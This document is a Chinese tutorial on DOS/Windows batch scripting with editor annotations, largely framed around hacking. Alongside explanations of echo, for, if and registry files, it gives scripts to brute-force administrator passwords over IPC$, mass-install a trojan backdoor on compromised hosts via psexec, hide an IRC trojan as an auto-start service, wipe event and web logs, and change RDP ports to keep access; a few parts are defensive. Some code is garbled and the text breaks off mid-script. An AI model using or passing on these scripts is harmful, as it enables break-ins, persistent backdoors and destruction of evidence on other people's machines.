1 关于批处理

扩展名是 bat(在 nt/2000/xp/2003 下也可以是 cmd)的文件就是批处理文件。

==== willsort 编注 ==========

.bat 是 dos 下的批处理文件

.cmd 是 nt 内核命令行环境的另一种批处理文件

从更广义的角度来看，unix 的 shell 脚本以及其它操作系统甚至应用程序中由外壳进行解释执行的文本，都具有与批处理文件十分相似的作用，而且同样是由专用解释器以行为单位解释执行，这种文本形式更通用的称谓是脚本语言。所以从某个程度分析，batch, unix shell, awk, basic, perl 等脚本语言都是一样的，只不过应用的范围和解释的平台各有不同而已。甚至有些应用程序仍然沿用批处理这一称呼，而其内容和扩展名与 dos 的批处理却又完全不同。

==========

首先批处理文件是一个文本文件，这个文件的每一行都是一条 DOS 命令（大部分时候就好象我们在 DOS 提示符下执行的命令行一样），你可以使用 DOS 下的 Edit 或者 Windows 的记事本(notepad)等任何文本文件编辑工具创建和修改批处理文件。

==== willsort 题注 ==========

批处理文件中完全可以使用非 dos 命令，甚至可以使用不具有可执行特性的普通数据性文件，这缘于 windows 系统这个新型解释平台的涉入，使得批处理的应用越来越"边缘化"。所以我们讨论的批处理应该限定在 dos 环境或者命令行环境中，否则很多观念和设定都需要做比较大的变动。

==========

其次，批处理文件是一种简单的程序，可以通过条件语句(if)和流程控制语句(goto)来控制命令运行的流程，在批处理中也可以使用循环语句(for)来循环执行一条命令。当然，批处理文件的编程能力与 C 语言等编程语句比起来是十分有限的，也是十分不规范的。批处理的程序语句就是一条条的 DOS 命令（包括内部命令和外部命令），而批处理的能力主要取决于你所使用的命令。

==== willsort 编注 ==========

批处理文件(batch file)也可以称之为批处理程序(batch program)，这一点与编译型语言有所不同，就 c 语言来说，扩展名为 c 或者 cpp 的文件可以称之为 c 语言文件或者 c 语言源代码，但只有编译连接后的 exe 文件才可以称之为 c 语言程序。因为批处理文件本身既具有文本的可读性，又具有程序的可执行性，这些称谓的界限是比较模糊的。

==========

第三，每个编写好的批处理文件都相当于一个 DOS 的外部命令，你可以把它所在的目录放到你的 DOS 搜索路径(path)中来使得它可以在任意位置运行。一个良好的习惯是在硬盘上建立一个 bat 或者 batch 目录（例如 C:\BATCH），然后将所有你编写的批处理文件放到该目录中，这样只要在 path 中设置上 c:\batch，你就可以在任意位置运行所有你编写的批处理程序。

==== willsort 编注 =====

纯以 dos 系统而言，可执行程序大约可以细分为五类，依照执行优先级由高到低排列分别是：DOSKEY 宏命令（预先驻留内存），COMMAND.COM 中的内部命令（根据内存的环境随时进驻内存），以 com 为扩展名的可执行程序（由 command.com 直接载入内存），以 exe 位扩展名的可执行程序（由 command.com 重定位后载入内存），以 bat 位扩展名的批处理程序（由 command.com 解释分析，根据其内容按优先级顺序调用第 2，3，4，

5 种可执行程序，分析一行，执行一行，文件本身不载入内存）
==========
第四，在 DOS 和 Win9x/Me 系统下，C:盘根目录下的 AUTOEXEC.BAT 批处理文件是自动运行批处理文件，每次系统启动时会自动运行该文件，你可以将系统每次启动时都要运行的命令放入该文件中，例如设置搜索路径，调入鼠标驱动和磁盘缓存，设置系统环境变量等。下面是一个运行于 Windows 98 下的 autoexec.bat 的示例：

```
@ECHO OFF
PATH C:\WINDOWS;C:\WINDOWS\COMMAND;C:\UCDOS;C:\DOSTools;

C:\SYSTOOLS;C:\WINTOOLS;C:\BATCH
LH SMARTDRV.EXE /X
LH DOSKEY.COM /INSERT
LH CTMOUSE.EXE
SET TEMP=D:\TEMP
SET TMP=D:\TEMP
```

==== willsort 编注 =====
AUTOEXEC.BAT 为 DOS 系统的自动运行批处理文件，由 COMMAND.COM 启动时解释执行；而在 Win9x 环境中，不仅增加支持了 DOSSTART.BAT, WINSTART.BAT 等许多其它自动运行的批处理文件，对 AUTOEXEC.BAT 也增加了 .DOS .W40 .BAK .OLD .PWS 等许多变体以适应复杂的环境和多变的需求。
==== willsort 编注 ==========
以下关于命令的分类，有很多值得推敲的地方。常用命令中的@本不是命令，而 dir、copy 等也很常用的命令却没有列入，而特殊命令中所有命令对我来说都是常用命令。建议将批处理所引用的命令分为内部命令、外部命令、第三方程序三类。而内部命令和外部命令中别有一类是专用于或常用于批处理中的命令可称之为"批处理命令"。

2 批处理命令说明

1．Echo 命令
打开回显或关闭请求回显功能，或显示消息。如果没有任何参数，echo 命令将显示当前回显设置。
语法
echo [{on|off}] [message]
Sample：echo off / echo hello world
在实际应用中我们会把这条命令和重定向符号（也称为管道符号，一般用> >> ^）结合来实现输入一些命令到特定格式的文件中.这将在以后的例子中体现出来。

2.@ 命令
表示不显示@后面的命令，在入侵过程中（例如使用批处理来格式化敌人的硬盘）自然不能让对方看到你使用的命令啦。
Sample：@echo off
@echo Now initializing the program,please wait a minite...
@format X: /q/u/autoset (format 这个命令是不可以使用/y 这个参数的，可喜的是微软留

了个 autoset 这个参数给我们，效果和/y 是一样的。)

3.Goto 命令
指定跳转到标签，找到标签后，程序将处理从下一行开始的命令。
语法：goto label （label 是参数，指定所要转向的批处理程序中的行。）
Sample：
if {%1}=={} goto noparms
if {%2}=={} goto noparms（如果这里的 if、%1、%2 你不明白的话，先跳过去，后面会有详细的解释。）
@Rem check parameters if null show usage
:noparms
echo Usage: monitor.bat ServerIP PortNumber
goto end
标签的名字可以随便起，但是最好是有意义的字母啦，字母前加个：用来表示这个字母是标签，goto 命令就是根据这个：来寻找下一步跳到到那里。最好有一些说明这样你别人看起来才会理解你的意图啊。

4.Rem 命令
注释命令，在 C 语言中相当与/*--------*/,它并不会被执行，只是起一个注释的作用，便于别人阅读和你自己日后修改。
Rem Message
Sample：@Rem Here is the description.

5.Pause 命令
运行 Pause 命令时，将显示下面的消息：
Press any key to continue . . .
Sample：
@echo off
:begin
copy a:*.* d：\back
echo Please put a new disk into driver A
pause
goto begin
在这个例子中，驱动器 A 中磁盘上的所有文件均复制到 d:\back 中。显示的注释提示您将另一张磁盘放入驱动器 A 时，pause 命令会使程序挂起，以便您更换磁盘，然后按任意键继续处理。

6.Call 命令
从一个批处理程序调用另一个批处理程序，并且不终止父批处理程序。call 命令接受用作调用目标的标签。如果在脚本或批处理文件外使用 Call，它将不会在命令行起作用。
语法
call [[Drive:][Path] FileName [BatchParameters]] [:label [arguments]]
参数
[Drive:}[Path] FileName

指定要调用的批处理程序的位置和名称。filename 参数必须具有 .bat 或 .cmd 扩展名。

7.start 命令
调用外部程序，所有的 DOS 命令和命令行程序都可以由 start 命令来调用。
入侵常用参数：
MIN 开始时窗口最小化
SEPARATE 在分开的空间内开始 16 位 Windows 程序
HIGH 在 HIGH 优先级类别开始应用程序
REALTIME 在 REALTIME 优先级类别开始应用程序
WAIT 启动应用程序并等候它结束
parameters 这些为传送到命令/程序的参数
执行的应用程序是 32-位 GUI 应用程序时，CMD.EXE 不等应用程序终止就返回命令提示。如果在命令脚本内执行，该新行为则不会发生。
8.choice 命令
choice 使用此命令可以让用户输入一个字符，从而运行不同的命令。使用时应该加/c:参数，c:后应写提示可输入的字符，之间无空格。它的返回码为 1234……

如: choice /c:dme defrag,mem,end
将显示
defrag,mem,end[D,M,E]?
Sample：
Sample.bat 的内容如下:

```
@echo off
choice /c:dme defrag,mem,end
if errorlevel 3 goto defrag （应先判断数值最高的错误码）
if errorlevel 2 goto mem
if errotlevel 1 goto end

:defrag
c:\dos\defrag
goto end
:mem
mem
goto end
:end
echo good bye
```

此文件运行后，将显示 defrag,mem,end[D,M,E]? 用户可选择 d m e ，然后 if 语句将作出判断，d 表示执行标号为 defrag 的程序段，m 表示执行标号为 mem 的程序段，e 表示执行标号为 end 的程序段，每个程序段最后都以 goto end 将程序跳到 end 标号处，然后程序将显示 good bye，文件结束。

9.If 命令

if 表示将判断是否符合规定的条件，从而决定执行不同的命令。 有三种格式:
1、if "参数" == "字符串" 待执行的命令
参数如果等于指定的字符串，则条件成立，运行命令，否则运行下一句。(注意是两个等号）
如 if "%1"=="a" format a:
if {%1}=={} goto noparms
if {%2}=={} goto noparms

2、if exist 文件名 待执行的命令
如果有指定的文件，则条件成立，运行命令，否则运行下一句。
如 if exist config.sys edit config.sys

3、if errorlevel / if not errorlevel 数字 待执行的命令
如果返回码等于指定的数字，则条件成立，运行命令，否则运行下一句。
如 if errorlevel 2 goto x2
DOS 程序运行时都会返回一个数字给 DOS，称为错误码 errorlevel 或称返回码，常见的返回码为 0、1。

10.for 命令
for 命令是一个比较复杂的命令，主要用于参数在指定的范围内循环执行命令。
在批处理文件中使用 FOR 命令时，指定变量请使用 %%variable

for {%variable|%%variable} in (set) do command [CommandLineOptions]
%variable 指定一个单一字母可替换的参数。
(set) 指定一个或一组文件。可以使用通配符。
command 指定对每个文件执行的命令。
command-parameters 为特定命令指定参数或命令行开关。
在批处理文件中使用 FOR 命令时，指定变量请使用 %%variable
而不要用 %variable。变量名称是区分大小写的，所以 %i 不同于 %I

如果命令扩展名被启用，下列额外的 FOR 命令格式会受到
支持:

FOR /D %variable IN (set) DO command [command-parameters]

如果集中包含通配符，则指定与目录名匹配，而不与文件
名匹配。

FOR /R [[drive:]path] %variable IN (set) DO command [command-

检查以 [drive:]path 为根的目录树，指向每个目录中的
FOR 语句。如果在 /R 后没有指定目录，则使用当前
目录。如果集仅为一个单点(.)字符，则枚举该目录树。

FOR /L %variable IN (start,step,end) DO command [command-para

该集表示以增量形式从开始到结束的一个数字序列。
因此，(1,1,5) 将产生序列 1 2 3 4 5，(5,-1,1) 将产生
序列 (5 4 3 2 1)。

FOR /F ["options"] %variable IN (file-set) DO command
FOR /F ["options"] %variable IN ("string") DO command
FOR /F ["options"] %variable IN (command) DO command

或者，如果有 usebackq 选项:

FOR /F ["options"] %variable IN (file-set) DO command
FOR /F ["options"] %variable IN ("string") DO command
FOR /F ["options"] %variable IN (command) DO command

filenameset 为一个或多个文件名。继续到 filenameset 中的
下一个文件之前，每份文件都已被打开、读取并经过处理。
处理包括读取文件，将其分成一行行的文字，然后将每行
解析成零或更多的符号。然后用已找到的符号字符串变量值
调用 For 循环。以默认方式，/F 通过每个文件的每一行中分开
的第一个空白符号。跳过空白行。您可通过指定可选 "options"
参数替代默认解析操作。这个带引号的字符串包括一个或多个
指定不同解析选项的关键字。这些关键字为:

eol=c - 指一个行注释字符的结尾(就一个)
skip=n - 指在文件开始时忽略的行数。
delims=xxx - 指分隔符集。这个替换了空格和跳格键的
默认分隔符集。
tokens=x,y,m-n - 指每行的哪一个符号被传递到每个迭代
的 for 本身。这会导致额外变量名称的
格式为一个范围。通过 nth 符号指定 m
符号字符串中的最后一个字符星号，
那么额外的变量将在最后一个符号解析之
分配并接受行的保留文本。
usebackq - 指定新语法已在下类情况中使用:
在作为命令执行一个后引号的字符串并且
引号字符为文字字符串命令并允许在 fi
中使用双引号扩起文件名称。

sample1:
FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do command

会分析 myfile.txt 中的每一行，忽略以分号打头的那些行，将

每行中的第二个和第三个符号传递给 for 程序体；用逗号和/或空格定界符号。请注意，这个 for 程序体的语句引用 %i 来取得第二个符号，引用 %j 来取得第三个符号，引用 %k 来取得第三个符号后的所有剩余符号。对于带有空格的文件名，您需要用双引号将文件名括起来。为了用这种方式来使用双引号，您还需要使用 usebackq 选项，否则，双引号会被理解成是用作定义某个要分析的字符串的。

%i 专门在 for 语句中得到说明，%j 和 %k 是通过 tokens= 选项专门得到说明的。您可以通过 tokens= 一行指定最多 26 个符号，只要不试图说明一个高于字母 z 或 Z 的变量。请记住，FOR 变量是单一字母、分大小写和全局的；同时不能有 52 个以上都在使用中。

您还可以在相邻字符串上使用 FOR /F 分析逻辑；方法是，用单引号将括号之间的 filenameset 括起来。这样，该字符串会被当作一个文件中的一个单一输入行。

最后，您可以用 FOR /F 命令来分析命令的输出。方法是，将括号之间的 filenameset 变成一个反括字符串。该字符串会被当作命令行，传递到一个子 CMD.EXE，其输出会被抓进内存，并被当作文件分析。因此，以下例子:

```
FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i
```

会枚举当前环境中的环境变量名称。

另外，FOR 变量参照的替换已被增强。您现在可以使用下列选项语法:

~I - 删除任何引号(")，扩充 %I
%~fI - 将 %I 扩充到一个完全合格的路径名
%~dI - 仅将 %I 扩充到一个驱动器号
%~pI - 仅将 %I 扩充到一个路径
%~nI - 仅将 %I 扩充到一个文件名
%~xI - 仅将 %I 扩充到一个文件扩展名
%~sI - 扩充的路径只含有短名
%~aI - 将 %I 扩充到文件的文件属性
%~tI - 将 %I 扩充到文件的日期/时间
%~zI - 将 %I 扩充到文件的大小
%~$PATH:I - 查找列在路径环境变量的目录，并将 %I 扩充到找到的第一个完全合格的名称。如果环境变量未被定义，或者没有找到文件，此组合键会扩充空字符串

可以组合修饰符来得到多重结果:

%~dpI - 仅将 %I 扩充到一个驱动器号和路径
%~nxI - 仅将 %I 扩充到一个文件名和扩展名
%~fsI - 仅将 %I 扩充到一个带有短名的完整路径名
%~dp$PATH:i - 查找列在路径环境变量的目录，并将 %I 扩充到找到的第一个驱动器号和路径。
%~ftzaI - 将 %I 扩充到类似输出线路的 DIR

在以上例子中，%I 和 PATH 可用其他有效数值代替。%~ 语法用一个有效的 FOR 变量名终止。选取类似 %I 的大写变量名比较易读，而且避免与不分大小写的组合键混淆。

以上是 MS 的官方帮助，下面我们举几个例子来具体说明一下 For 命令在入侵中的用途。

sample2：

利用 For 命令来实现对一台目标 Win2k 主机的暴力密码破解。
我们用 net use \\ip\ipc$ "password" /u:"administrator"来尝试这和目标主机进行连接，当成功时记下密码。
最主要的命令是一条：for /f i% in (dict.txt) do net use \\ip\ipc$ "i%" /u:"administrator"
用 i%来表示 admin 的密码，在 dict.txt 中这个取 i%的值用 net use 命令来连接。然后将程序运行结果传递给 find 命令－－
for /f i%% in (dict.txt) do net use \\ip\ipc$ "i%%" /u:"administrator"|find ":命令成功完成">>D:\ok.txt ，这样就 ko 了。

sample3：

你有没有过手里有大量肉鸡等着你去种后门＋木马呢？，当数量特别多的时候，原本很开心的一件事都会变得很郁闷：)。文章开头就谈到使用批处理文件，可以简化日常或重复性任务。那么如何实现呢？呵呵，看下去你就会明白了。

主要命令也只有一条：（在批处理文件中使用 FOR 命令时，指定变量使用 %%variable）
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call door.bat %%i %%j %%k
tokens 的用法请参见上面的 sample1，在这里它表示按顺序将 victim.txt 中的内容传递给 door.bat 中的参数%i %j %k。
而 cultivate.bat 无非就是用 net use 命令来建立 IPC$连接，并 copy 木马＋后门到 victim，然后用返回码（If errorlever =）来筛选成功种植后门的主机，并 echo 出来，或者 echo 到指定的文件。
delims= 表示 vivtim.txt 中的内容是一空格来分隔的。我想看到这里你也一定明白这 victim.txt 里的内容是什么样的了。应该根据%%i %%j %%k 表示的对象来排列，一般就是 ip password username。
代码雏形：

```
---------- cut here then save as a batchfile(I call it main.bat ) ----------
@echo off
@if "%1"=="" goto usage
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call IPChack.bat %%i %%j %%k
@goto end
:usage
@echo run this batch in dos modle.or just double-click it.
:end
---------- cut here then save as a batchfile(I call it main.bat ) ----------

---------- cut here then save as a batchfile(I call it door.bat) ----------
@net use \\%1\ipc$ %3 /u:"%2"
@if errorlevel 1 goto failed
@echo Trying to establish the IPC$ connection ……OK
@copy windrv32.exe\\%1\admin$\system32 && if not errorlevel 1 echo IP %1 USER %2 PWD %3 >>ko.txt
@p***ec \\%1 c:\winnt\system32\windrv32.exe
@p***ec \\%1 net start windrv32 && if not errorlevel 1 echo %1 Backdoored >>ko.txt
:failed
@echo Sorry can not connected to the victim.
---------- cut here then save as a batchfile(I call it door.bat) ----------
```

这只是一个自动种植后门批处理的雏形，两个批处理和后门程序（Windrv32.exe）,PSexec.exe 需放在统一目录下.批处理内容
尚可扩展,例如:加入清除日志+DDOS 的功能,加入定时添加用户的功能,更深入一点可以使之具备自动传播功能(蠕虫).此处不多做叙述,有兴趣的朋友可自行研究.

3 如何在批处理文件中使用参数

批处理中可以使用参数，一般从 1%到 9%这九个，当有多个参数时需要用 shift 来移动，这种情况并不多见
，我们就不考虑它了。

sample1：fomat.bat

```
@echo off
if "%1"=="a" format a:
:format
@format a:/q/u/auotset
@echo please insert another disk to driver A.
@pause
@goto fomat
```

这个例子用于连续地格式化几张软盘，所以用的时候需在 dos 窗口输入 fomat.bat a，呵呵，好像有点画蛇添
足了～

sample2：
当我们要建立一个 IPC$连接地时候总要输入一大串命令，弄不好就打错了，所以我们不如把一些固定命令
写入一个批处理，把肉鸡地 ip password username 当着参数来赋给这个批处理，这样就不用每次都打命令
了。
@echo off
@net use \\1%\ipc$ "2%" /u:"3%" 注意哦，这里 PASSWORD 是第二个参数。
@if errorlevel 1 echo connection failed
怎么样,使用参数还是比较简单的吧？你这么帅一定学会了.No.3

4 如何使用组合命令(Compound Command)

1.&
Usage：第一条命令 & 第二条命令 [& 第三条命令...]
用这种方法可以同时执行多条命令，而不管命令是否执行成功
Sample：
C:\>dir z: & dir c:\Ex4rch
The system cannot find the path specified.
Volume in drive C has no label.
Volume Serial Number is 0078-59FB
Directory of c:\Ex4rch
2002-05-14 23:51 .
2002-05-14 23:51 ..
2002-05-14 23:51 14 sometips.gif
2.&&
Usage：第一条命令 && 第二条命令 [&& 第三条命令...]
用这种方法可以同时执行多条命令，当碰到执行出错的命令后将不执行后面的命令，如果一直没有出错则
一直执行完所有命令；
Sample：
C:\>dir z: && dir c:\Ex4rch
The system cannot find the path specified.
C:\>dir c:\Ex4rch && dir z:
Volume in drive C has no label.
Volume Serial Number is 0078-59FB
Directory of c:\Ex4rch
2002-05-14 23:55 .
2002-05-14 23:55 ..
2002-05-14 23:55 14 sometips.gif
1 File(s) 14 bytes
2 Dir(s) 768,671,744 bytes free
The system cannot find the path specified.
在做备份的时候可能会用到这种命令会比较简单，如：
dir file&://192.168.0.1/database/backup.mdb && copy

file&://192.168.0.1/database/backup.mdb
E:\backup
如果远程服务器上存在 backup.mdb 文件，就执行 copy 命令，若不存在该文件则不执行 copy 命令。这种用法
可以替换 IF exist 了.
3.||
Usage：第一条命令 || 第二条命令 [|| 第三条命令...]
用这种方法可以同时执行多条命令，当碰到执行正确的命令后将不执行后面的命令，如果没有出现正确的
命令则一直执行完所有命令；
Sample：
C:\Ex4rch>dir sometips.gif || del sometips.gif
Volume in drive C has no label.
Volume Serial Number is 0078-59FB
Directory of C:\Ex4rch
2002-05-14 23:55 14 sometips.gif
1 File(s) 14 bytes
0 Dir(s) 768,696,320 bytes free
组合命令使用的例子：

sample：
@copy trojan.exe \\%1\admin$\system32 && if not errorlevel 1 echo IP %1 USER %2 PASS %3 >>victim.txt

5 管道命令的使用

1.| 命令
Usage：第一条命令 | 第二条命令 [| 第三条命令...]
将第一条命令的结果作为第二条命令的参数来使用，记得在 unix 中这种方式很常见。
sample：
time /t>>D:\IP.log
netstat -n -p tcp | find ":3389">>D:\IP.log
start Explorer
看出来了么？用于终端服务允许我们为用户自定义起始的程序，来实现让用户运行下面这个 bat，以获得登
录用户的 IP。
2.>、>>输出重定向命令
将一条命令或某个程序输出结果的重定向到特定文件中, > 与 >>的区别在于，>会清除调原有文件中的内
容后写入指定文件，而>>只会追加内容到指定文件中，而不会改动其中的内容。
sample1：
echo hello world>c:\hello.txt (stupid example?)
sample2:
时下 DLL 木马盛行，我们知道 system32 是个捉迷藏的好地方，许多木马都削尖了脑袋往那里钻，DLL 马也不

例外，针对这一点我们可以在安装好系统和必要的应用程序后，对该目录下的 EXE 和 DLL 文件作一个记录：
运行 CMD--转换目录到 system32--dir *.exe>exeback.txt & dir *.dll>dllback.txt,
这样所有的 EXE 和 DLL 文件的名称都被分别记录到 exeback.txt 和 dllback.txt 中,
日后如发现异常但用传统的方法查不出问题时,则要考虑是不是系统中已经潜入 DLL 木马了.
这时我们用同样的命令将 system32 下的 EXE 和 DLL 文件记录到另外的 exeback1.txt 和 dllback1.txt 中,然后运
行:
CMD--fc exeback.txt exeback1.txt>diff.txt & fc dllback.txt dllback1.txt>diff.txt.(用 FC 命令比
较前后两次的 DLL 和 EXE 文件,并将结果输入到 diff.txt 中),这样我们就能发现一些多出来的 DLL 和 EXE 文件,
然后通过查看创建时间、版本、是否经过压缩等就能够比较容易地判断出是不是已经被 DLL 木马光顾了。没
有是最好，如果有的话也不要直接 DEL 掉，先用 regsvr32 /u trojan.dll 将后门 DLL 文件注销掉,再把它移到
回收站里，若系统没有异常反映再将之彻底删除或者提交给杀毒软件公司。
3.< 、>& 、<&
< 从文件中而不是从键盘中读入命令输入。
>& 将一个句柄的输出写入到另一个句柄的输入中。
<& 从一个句柄读取输入并将其写入到另一个句柄输出中。
这些并不常用，也就不多做介绍。

6 如何用批处理文件来操作注册表

在入侵过程中经常回操作注册表的特定的键值来实现一定的目的，例如:为了达到隐藏后门、木马程序而删
除 Run 下残余的键值。或者创建一个服务用以加载后门。当然我们也会修改注册表来加固系统或者改变系统
的某个属性，这些都需要我们对注册表操作有一定的了解。下面我们就先学习一下如何使用.REG 文件来操
作注册表.(我们可以用批处理来生成一个 REG 文件)
关于注册表的操作，常见的是创建、修改、删除。
1.创建
创建分为两种，一种是创建子项(Subkey)
我们创建一个文件，内容如下：
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\hacker]
然后执行该脚本，你就已经在 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft 下创建了一个名字为"hacker"的子
项。
另一种是创建一个项目名称
那这种文件格式就是典型的文件格式，和你从注册表中导出的文件格式一致，内容如下：
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]

"Invader"="Ex4rch"
"Door"=C:\\WINNT\\system32\\door.exe
"Autodos"=dword:02
这样就在[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]下
新建了:Invader、door、about 这三个项目
Invader 的类型是"String value"
door 的类型是"REG SZ value"
Autodos 的类型是"DWORD value"
2.修改
修改相对来说比较简单，只要把你需要修改的项目导出，然后用记事本进行修改，然后导入（regedit /s
）即可。
3.删除
我们首先来说说删除一个项目名称，我们创建一个如下的文件：
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"Ex4rch"=-
执行该脚本，[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]下的"Ex4rch"就
被删除了；
我们再看看删除一个子项，我们创建一个如下的脚本：
Windows Registry Editor Version 5.00
[-HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
执行该脚本，[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]就已经被删除了
。
相信看到这里，.reg 文件你基本已经掌握了。那么现在的目标就是用批处理来创建特定内容的.reg 文件了
，记得我们前面说道的利用重定向符号可以很容易地创建特定类型的文件。
samlpe1:如上面的那个例子,如想生成如下注册表文件
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"Invader"="Ex4rch"
"door"=hex:255
"Autodos"=dword:000000128
只需要这样：
@echo Windows Registry Editor Version 5.00>>Sample.reg
@echo
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]>Sample.reg
@echo "Invader"="Ex4rch">>Sample.reg
@echo "door"=5>>C:\\WINNT\\system32\\door.exe>>Sample.reg
@echo "Autodos"=dword:02>>Sample.reg
samlpe2:
我们现在在使用一些比较老的木马时,可能会在注册表的

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run(Runonce 、Runservices、
Runexec)]下生成一个键值用来实现木马的自启动.但是这样很容易暴露木马程序的路径,从而导致木马被查
杀,相对地若是将木马程序注册为系统服务则相对安全一些.下面以配置好地 IRC 木马 DSNX 为例(名为
windrv32.exe)

```
@start windrv32.exe
@attrib +h +r windrv32.exe
@echo
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] >>patch.dll
@echo "windsnx "=- >>patch.dll
@sc.exe create Windriversrv type= kernel start= auto displayname= WindowsDriver binpath=
c:\winnt\system32\windrv32.exe
@regedit /s patch.dll
@delete patch.dll
```

@REM [删除 DSNXDE 在注册表中的启动项，用 sc.exe 将之注册为系统关键性服务的同时将其属性设为隐藏和
只读，并 config 为自启动]

```
@REM 这样不是更安全.
```

7 精彩实例放送。

1.删除 win2k/xp 系统默认共享的批处理

```
---------- cut here then save as .bat or .cmd file ----------
@echo preparing to delete all the default shares.when ready pres any key.
@pause
@echo off
:Rem check parameters if null show usage.
if {%1}=={} goto :Usage
:Rem code start.
echo.
echo ------------------------------------------------------
echo.
echo Now deleting all the default shares.
echo.
net share %1$ /delete
net share %2$ /delete
net share %3$ /delete
net share %4$ /delete
net share %5$ /delete
net share %6$ /delete
net share %7$ /delete
net share %8$ /delete
net share %9$ /delete
```

```
net stop Server
net start Server
echo.
echo All the shares have been deleteed
echo.
echo ------------------------------------------------------
echo.
echo Now modify the registry to change the system default properties.
echo.
echo Now creating the registry file
echo Windows Registry Editor Version 5.00> c:\delshare.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanmanserver\parameters]>>
c:\delshare.reg
echo "AutoShareWks"=dword:00000000>> c:\delshare.reg
echo "AutoShareServer"=dword:00000000>> c:\delshare.reg
echo Nowing using the registry file to chang the system default properties.
regedit /s c:\delshare.reg
echo Deleting the temprotarily files.
del c:\delshare.reg
goto :END
:Usage
echo.
echo ------------------------------------------------------
echo.
echo ☆ A example for batch file ☆
echo ☆ [Use batch file to change the sysytem share properties.] ☆
echo.
echo Author：Ex4rch
echo Mail:Ex4rch@hotmail.com QQ:1672602
echo.
echo Error：Not enough parameters
echo.
echo ☆ Please enter the share disk you wanna delete ☆
echo.
echo For instance，to delete the default shares:
echo delshare c d e ipc admin print
echo.
echo If the disklable is not as C: D: E: ， Please chang it youself.
echo.
echo example：
echo If locak disklable are C: D: E: X: Y: Z: ， you should chang the command into ：
echo delshare c d e x y z ipc admin print
echo.
echo *** you can delete nine shares once in a useing ***
```

```
echo.
echo ----------------------------------------------------
goto :EOF
:END
echo.
echo ----------------------------------------------------
echo.
echo OK,delshare.bat has deleted all the share you assigned.
echo.Any questions ,feel free to mail to Ex4rch@hotmail.com.
echo
echo.
echo ----------------------------------------------------
echo.
:EOF
echo end of the batch file
```

---------- cut here then save as .bat or .cmd file ----------

2.全面加固系统（给肉鸡打补丁）的批处理文件

---------- cut here then save as .bat or .cmd file ----------

```
@echo Windows Registry Editor Version 5.00 >patch.dll
@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanmanserver\parameters]
>>patch.dll
@echo "AutoShareServer"=dword:00000000 >>patch.dll
@echo "AutoShareWks"=dword:00000000 >>patch.dll
@REM [禁止共享]
@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa] >>patch.dll
@echo "restrictanonymous"=dword:00000001 >>patch.dll
@REM [禁止匿名登录]
@echo
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NetBT\Parameters] >>patch.dll
@echo "SMBDeviceEnabled"=dword:00000000 >>patch.dll
@REM [禁止及文件访问和打印共享]
@echo
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\@REMoteRegistry] >>patch.dll
@echo "Start"=dword:00000004 >>patch.dll
@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Schedule] >>patch.dll
@echo "Start"=dword:00000004 >>patch.dll
@echo                                    [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\Winlogon] >>patch.dll
@echo "ShutdownWithoutLogon"="0" >>patch.dll
@REM [禁止登录前关机]
@echo "DontDisplayLastUserName"="1" >>patch.dll
@REM [禁止显示前一个登录用户名称]
@regedit /s patch.dll
```

---------- cut here then save as .bat or .cmd file ----------
下面命令是清除肉鸡所有日志，禁止一些危险的服务，并修改肉鸡的 terminnal service 留跳后路。

```
@regedit /s patch.dll
@net stop w3svc
@net stop event log
@del c:\winnt\system32\logfiles\w3svc1\*.* /f /q
@del c:\winnt\system32\logfiles\w3svc2\*.* /f /q
@del c:\winnt\system32\config\*.event /f /q
@del c:\winnt\system32dtclog\*.* /f /q
@del c:\winnt\*.txt /f /q
@del c:\winnt\*.log /f /q
@net start w3svc
@net start event log
@rem [删除日志]
@net stop lanmanserver /y
@net stop Schedule /y
@net stop RemoteRegistry /y
@del patch.dll
@echo The server has been patched,Have fun.
@del patch.bat
@REM [禁止一些危险的服务。]
@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-
Tcp] >>patch.dll
@echo "PortNumber"=dword:00002010 >>patch.dll
@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp
>>patch.dll
@echo "PortNumber"=dword:00002012 >>patch.dll
@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermDD] >>patch.dll
@echo "Start"=dword:00000002 >>patch.dll
@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SecuService] >>patch.dll
@echo "Start"=dword:00000002 >>patch.dll
@echo "ErrorControl"=dword:00000001 >>patch.dll
@echo "ImagePath"=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,52,00,6f,00,6f,00,\
>>patch.dll
@echo 74,00,25,00,5c,00,53,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,65,\
>>patch.dll
